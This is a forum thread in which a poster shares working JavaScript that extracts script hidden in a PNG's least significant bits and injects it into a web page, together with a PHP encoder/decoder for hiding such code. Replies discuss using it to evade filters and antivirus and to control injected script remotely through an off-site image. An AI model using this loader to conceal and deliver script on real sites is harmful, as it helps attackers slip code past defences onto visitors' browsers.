fugu Posted November 20, 2015 Share Posted November 20, 2015 (edited) So a while back I read about a clip of javascript that used images to hide html/js code to avoid detection, but it was obvious that the image was malformed just by looking at it. I wrote this code (by modifying the code found in the wild) to use steganography to hide the code and make it a little harder to detect. html: <html> <head> </head> <body> <img id='output' src='./cat_new.png' /> <script type="text/javascript" src="./inject.js"></script> </body> </html> inject.js: var canvas = document.createElement("canvas"); if (canvas.getContext) { var context = canvas.getContext("2d"); if (context.getImageData) { var img = document.getElementById("output"); img.onload = function() { context.drawImage(this,0,0); var data = context.getImageData(0,0,this.offsetWidth,this.offsetHeight).data; var p = -1; var by = []; for (var i=0;i<data.length;i++) { by[++p] = data[4*i+0] & 0x01; by[++p] = data[4*i+1] & 0x01; by[++p] = data[4*i+2] & 0x01; }; var a = []; p = -1; var n = Math.floor(by.length/8); for (var i=0;i<n;i++){ var bt = 0; bt += by[8*i+0]*0x01; bt += by[8*i+1]*0x02; bt += by[8*i+2]*0x04; bt += by[8*i+3]*0x08; bt += by[8*i+4]*0x10; bt += by[8*i+5]*0x20; bt += by[8*i+6]*0x40; bt += by[8*i+7]*0x80; if(bt > 0) a[++p] = String.fromCharCode(bt); } var dtn = document.createElement('script'); dtn.innerHTML = a.join(""); document.body.appendChild(dtn); } } } a basic encoder/decodersimple_steganography_example.php: <?php // Requires php5-cli and php5-gd installed (you might be able to use a server version of php but you'll need to hardcode your message in this script) // Use: $ php simple_steganography_example.php "Message goes here" function set_bit_on_byte($bit_index, $current_bit, $byte){ if($byte < 0 || $byte > 255){ exit(); } if($current_bit != 0 && $current_bit != 1){ exit(); } if(($bit_index % 8) == 0) return (0xFE & $byte) + ($current_bit * 0x01); else if(($bit_index % 8) == 1) return (0xFD & $byte) + ($current_bit * 0x02); else if(($bit_index % 8) == 2) return (0xFB & $byte) + ($current_bit * 0x04); else if(($bit_index % 8) == 3) return (0xF7 & $byte) + ($current_bit * 0x08); else if(($bit_index % 8) == 4) return (0xEF & $byte) + ($current_bit * 0x10); else if(($bit_index % 8) == 5) return (0xDF & $byte) + ($current_bit * 0x20); else if(($bit_index % 8) == 6) return (0xBF & $byte) + ($current_bit * 0x40); else if(($bit_index % 8) == 7) return (0x7F & $byte) + ($current_bit * 0x80); else exit(); } function get_bit_on_byte($bit_index, $byte){ if(($bit_index % 8) == 0) return ($byte & 0x01) == 0?0:1; else if(($bit_index % 8) == 1) return ($byte & 0x02) == 0?0:1; else if(($bit_index % 8) == 2) return ($byte & 0x04) == 0?0:1; else if(($bit_index % 8) == 3) return ($byte & 0x08) == 0?0:1; else if(($bit_index % 8) == 4) return ($byte & 0x10) == 0?0:1; else if(($bit_index % 8) == 5) return ($byte & 0x20) == 0?0:1; else if(($bit_index % 8) == 6) return ($byte & 0x40) == 0?0:1; else if(($bit_index % 8) == 7) return ($byte & 0x80) == 0?0:1; else exit(); } function read_stego($filename){ $im = imagecreatefrompng($filename); if($im === false){ echo "Error: bad image format ".$filename.PHP_EOL; exit(); } $a = getimagesize($filename); $code_height_start = 0; $code_height_end = $a[0]; $code_width_start = 0; $code_width_end = $a[1]; $bit_ary = array(); for ($j=$code_width_start; $j<$code_width_end; $j++){ for ($i=$code_height_start; $i<$code_height_end; $i++){ $rgb = imagecolorat($im, $i, $j); $r = ($rgb >> 16) & 0x01; $g = ($rgb >> 8) & 0x01; $b = $rgb & 0x01; $bit_ary[] = $r; $bit_ary[] = $g; $bit_ary[] = $b; } } // $bit_ary is now the $stack input string, just in a { 1, 0, 0, 1, 0, 1, 1, 1, ... } formated array $n = intval(floor(count($bit_ary)/8)); //throw out last partial byte $stack = ''; for($i=0; $i < $n; $i++){ $current_byte = 0; $current_byte = set_bit_on_byte(0, $bit_ary[$i*8], $current_byte); $current_byte = set_bit_on_byte(1, $bit_ary[$i*8+1], $current_byte); $current_byte = set_bit_on_byte(2, $bit_ary[$i*8+2], $current_byte); $current_byte = set_bit_on_byte(3, $bit_ary[$i*8+3], $current_byte); $current_byte = set_bit_on_byte(4, $bit_ary[$i*8+4], $current_byte); $current_byte = set_bit_on_byte(5, $bit_ary[$i*8+5], $current_byte); $current_byte = set_bit_on_byte(6, $bit_ary[$i*8+6], $current_byte); $current_byte = set_bit_on_byte(7, $bit_ary[$i*8+7], $current_byte); $stack .= chr($current_byte); } imagedestroy($im); return $stack; } function write_stego($input_filename, $output_filename, $str){ $im = imagecreatefrompng($input_filename); $a = getimagesize($input_filename, $imageinfo); $code_height_start = 0; $code_height_end = $a[0]; $code_width_start = 0; $code_width_end = $a[1]; $im2 = imagecreatetruecolor($code_height_end, $code_width_end); $bit_index = 0; $current_byte = 0; $stack = $str; $max_num_bits = ($code_height_end - $code_height_start) * ($code_width_end - $code_width_start) * 3; $max_num_bytes = floor($max_num_bits/8); $n = strlen($str); $bit_ary = array(); if( $n > $max_num_bytes ){ imagedestroy($im); imagedestroy($im2); echo "Error: input string too long, limit input string to ".$max_num_bytes." for the image: ".$input_filename.PHP_EOL; exit(); } for($i=0; $i < $n; $i++){ $current_char = substr($str, $i, 1); $bit_ary[] = get_bit_on_byte(0, ord($current_char)); $bit_ary[] = get_bit_on_byte(1, ord($current_char)); $bit_ary[] = get_bit_on_byte(2, ord($current_char)); $bit_ary[] = get_bit_on_byte(3, ord($current_char)); $bit_ary[] = get_bit_on_byte(4, ord($current_char)); $bit_ary[] = get_bit_on_byte(5, ord($current_char)); $bit_ary[] = get_bit_on_byte(6, ord($current_char)); $bit_ary[] = get_bit_on_byte(7, ord($current_char)); } // $bit_ary is now the $str input string in a { 1, 0, 0, 1, 0, 1, 1, 1, ... } format array $bit_index = 0; for ($j=$code_width_start; $j<$code_width_end; $j++){ for ($i=$code_height_start; $i<$code_height_end; $i++){ $rgb = imagecolorat($im, $i, $j); $current_bit = 0; if($bit_index < count($bit_ary)){ $current_bit = $bit_ary[$bit_index]; } $r = (($rgb >> 16) & 0xFE) + $current_bit; $bit_index++; $current_bit = 0; if($bit_index < count($bit_ary)){ $current_bit = $bit_ary[$bit_index]; } $g = (($rgb >> 8) & 0xFE) + $current_bit; $bit_index++; $current_bit = 0; if($bit_index < count($bit_ary)){ $current_bit = $bit_ary[$bit_index]; } $b = ($rgb & 0xFE) + $current_bit; $bit_index++; imagesetpixel($im2, $i, $j, imagecolorallocate($im2, $r, $g, $b)); } } imagepng($im2, $output_filename); imagedestroy($im); imagedestroy($im2); } $input_filename = './cat.png'; $output_filename = './cat_new.png'; if(isset($argv[1])){ write_stego($input_filename, $output_filename, $argv[1]); }else{ echo read_stego($output_filename); } ?> Edited November 20, 2015 by fugu Quote Link to comment Share on other sites More sharing options...
overwraith Posted November 20, 2015 Share Posted November 20, 2015 (edited) Ctrl + P, I'm going to read this one. Thanks for the share. Just curious, doesn't minification of JS and now that I think of it combined with obfuscation do the same thing? Basically minification is a process whereby all whitespace is removed from JS code. So occassionally you'll see some libraries in JS used on certain pages, like Angular or JQuery which has actually been minified so it is essentially unlegible. I am assuming that the lack of whitespace would also create problems for AV parsers due to the fact that JS is interpreted, not compiled, but I'm not sure. I wish there was a "Practical" stego book for sale somewhere. I got a stego book a while back, and the amount of calculus in it made it almost impenetrable. The stego book I have is kind of a long term goal at this point. Edited November 20, 2015 by overwraith Quote Link to comment Share on other sites More sharing options...
digip Posted November 20, 2015 Share Posted November 20, 2015 Ctrl + P, I'm going to read this one. Thanks for the share. Just curious, doesn't minification of JS and now that I think of it combined with obfuscation do the same thing? Basically minification is a process whereby all whitespace is removed from JS code. So occassionally you'll see some libraries in JS used on certain pages, like Angular or JQuery which has actually been minified so it is essentially unlegible. I am assuming that the lack of whitespace would also create problems for AV parsers due to the fact that JS is interpreted, not compiled, but I'm not sure. I wish there was a "Practical" stego book for sale somewhere. I got a stego book a while back, and the amount of calculus in it made it almost impenetrable. The stego book I have is kind of a long term goal at this point. In this instance, he's hiding the JS in an image file, so it's in a separate file where the payload is. By calling the image using special scripting, you could potentially bypass filters that would look for dangerous JS in plain text or based on file extensions, vs in a binary file which may get past weak filters. I can see advertisers doing shady stuff like this which hijack pages and probably not reinventing the wheel so much as his take on a concept, which sounds like it could work in the right scenarios. The trick would be proper obfuscation so the image loads like a normal image, with maybe varying broken bits due to the stenography, when done right, most stego images don't change in appearance much if at all. Depends on the size of the payload. Quote Link to comment Share on other sites More sharing options...
fugu Posted November 20, 2015 Author Share Posted November 20, 2015 Yup your right, this is a real basic stegano, and the "cat_new.png" file visually looks just identical to the cat.png file. It loads just the same as a normal png file does, but the important js data is stored in all of the Least Significant Bits of each of the red, green, and blue colors for each pixel. The page loads identical to way the page would load normally, but will also execute the additional js hidden in the image. because its possible for images on sites to be loaded from off-site, the server running the website might only look at files on their own site and not the image thats off-site. It would also allow you to maintain control of js code remotely if you can modify the image file. And this doesn't use calculus at all, but does use discrete math quite a little bit. Changing bits to bytes and back again. Quote Link to comment Share on other sites More sharing options...
overwraith Posted November 20, 2015 Share Posted November 20, 2015 (edited) I guess the problem is the book I picked up liked to express the "stealthiness" of algorithms in terms of calculus equations. You know, summations and all that jazz. Steganography in digital media by Fridrich. Even as somebody who has taken calculus, I have no desire to return death's ground. You would think that "Oh, programming is just the implementation of math..." no, not all programming is. Much of it is more of a vocabulary, documentation, and best practices thing. Sure I am betting I will be exposed to more and more math, but there's only so much you can expect from entry coders. There are also some forms of math which are better explained than others. Edited November 20, 2015 by overwraith Quote Link to comment Share on other sites More sharing options...
cooper Posted November 21, 2015 Share Posted November 21, 2015 Nice one, Fugu. I like your coding style. Quote Link to comment Share on other sites More sharing options...
fugu Posted November 21, 2015 Author Share Posted November 21, 2015 Nice one, Fugu. I like your coding style. Thank you! Quote Link to comment Share on other sites More sharing options...
vailixi Posted November 30, 2015 Share Posted November 30, 2015 This article caught my eye a few weeks ago. I read through it but I didn't really understand it fully. Don't have time to go over all of this stuff.http://stegosploit.info/ Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.